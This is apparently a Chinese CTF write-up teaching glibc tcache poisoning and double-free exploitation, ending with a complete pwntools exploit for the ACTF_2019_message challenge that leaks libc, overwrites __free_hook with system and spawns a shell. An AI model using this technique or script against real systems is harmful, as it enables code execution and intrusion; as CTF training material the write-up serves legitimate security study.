tcache poisoning

主要的利用手段是覆盖tcache中的next成员变量,由于tcache_get()函数没有对next进行检查,所以理论上来讲如果我们将next中的地址进行替换,不需要伪造任何chunk结构即可实现malloc到任何地址,简单来说就是将堆的fd指针修改为”__free_hook”,执行我们想要的比如system;

doublefree

其实就是同一个指针free两次。虽然一般把它叫做double free。其实只要是free一个指向堆内存的指针都有可能产生可以利用的漏洞;

接下来我将主要演示一下在做题时doublefree的表示(包含tcache poisoning):

以下纯属作者个人的理解

咱们的目的主要是想让程序执行我们准备的恶意堆块,那应该怎么做呢,很显然就得利用到doublefree了,举个例子

申请一个0x60(假设为堆块A)的堆块,连续free两次时会出现:

add(0x60,'aaaa')#4
delete(4)
delete(4)

可以看到堆块A的fd指针指向了堆块A,可是这有什么用呢,当然有用,这时候我们可以在申请一个同样大小的堆块B,这个堆块我们可以控制,这也就代表我们控制了堆块A的fd指针的指向…..假设我们在堆块B中写入free hook的地址

add(0x60,'aaaa')#4
delete(4)
delete(4)
add(0x60,p64(free))

可以看到这个时候堆块A的fd指针已经指向了堆块B,那么这个时候我们再把堆块A申请出来就可以了,再将freehook指针指向比如system这样就达到了我的目的。

add(0x60,'aaaa')#4
delete(4)
delete(4)
add(0x60,p64(free))
add(0x60,b"aaaa")
add(0x60,p64(system))

add(堆块A)

add(加入system)

可以看到freehook的指针已经指向system,这样就成功调用了system

system的地址

接下看来以[ACTF_2019_message]为例

ACTF_2019_message

题目源文件

[链接:https://pan.baidu.com/s/1anJ1ufkBKnFU9aaa5-qT4A

提取码:chen]:

一个菜单题,有输入和输出,经过检查不存在UAF。

查看保护:

没有开PIE,RELRO全部开启。

题目中没有给libc库(很难受),本人以18.04的ubuntu用tcache poisoning + doublefree的方法解决的(远端估计打不通),使用的libc版本为libs/2.27-3ubuntu1_amd64/libc-2.27.so

由于题比较简单,不作一一解释

exp:

from pwn import *
p=process("./actf")
#p=remote("node4.buuoj.cn",25689)
elf=ELF("./actf")
libc=ELF("/home/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
gdb.attach(p)
context.log_level="debug"
#debug(p,0x00000000400A92)
def add(size,message):
p.sendlineafter(b'choice: ' , b'1')
p.sendlineafter(b'message:\n' , str(size))
p.sendafter(b'message:\n' , message)


def delete(index):
p.sendlineafter(b'choice: ' , b'2')
p.sendlineafter(b'delete:\n' , str(index))

def edit(index,message):
p.sendlineafter(b'choice: ' , b'3')
p.sendlineafter(b'edit:\n' , str(index))
p.sendafter(b'message:\n' , message)

def show(index):
p.sendlineafter(b'choice: ' , b'4')
p.sendlineafter(b'display:\n' , str(index))

add(0x60,'/bin/sh\x00')#0

add(0x800,'aaaa')#1 #unsortedbin
add(0x60,'/bin/sh\x00')#2
delete(1)
add(0x800,'bbbbbbbb')#3 #unsortedbin
show(3)
p.recvuntil("bbbbbbbb")
leak=u64(p.recv(6).ljust(8,b"\x00"))
#print(hex(leak))
libc_base=leak-0x3ebca0
free = libc_base+0x3ed8e8
system = libc_base + 0x4f440
#system = libc_base + libc.sym['system']
#free = libc_base + libc.sym['__free_hook']


add(0x60,'aaaa')#4
delete(4)
delete(4)
add(0x60,p64(free))
add(0x60,b"aaaa")
add(0x60,p64(system))
delete(2)
p.interactive()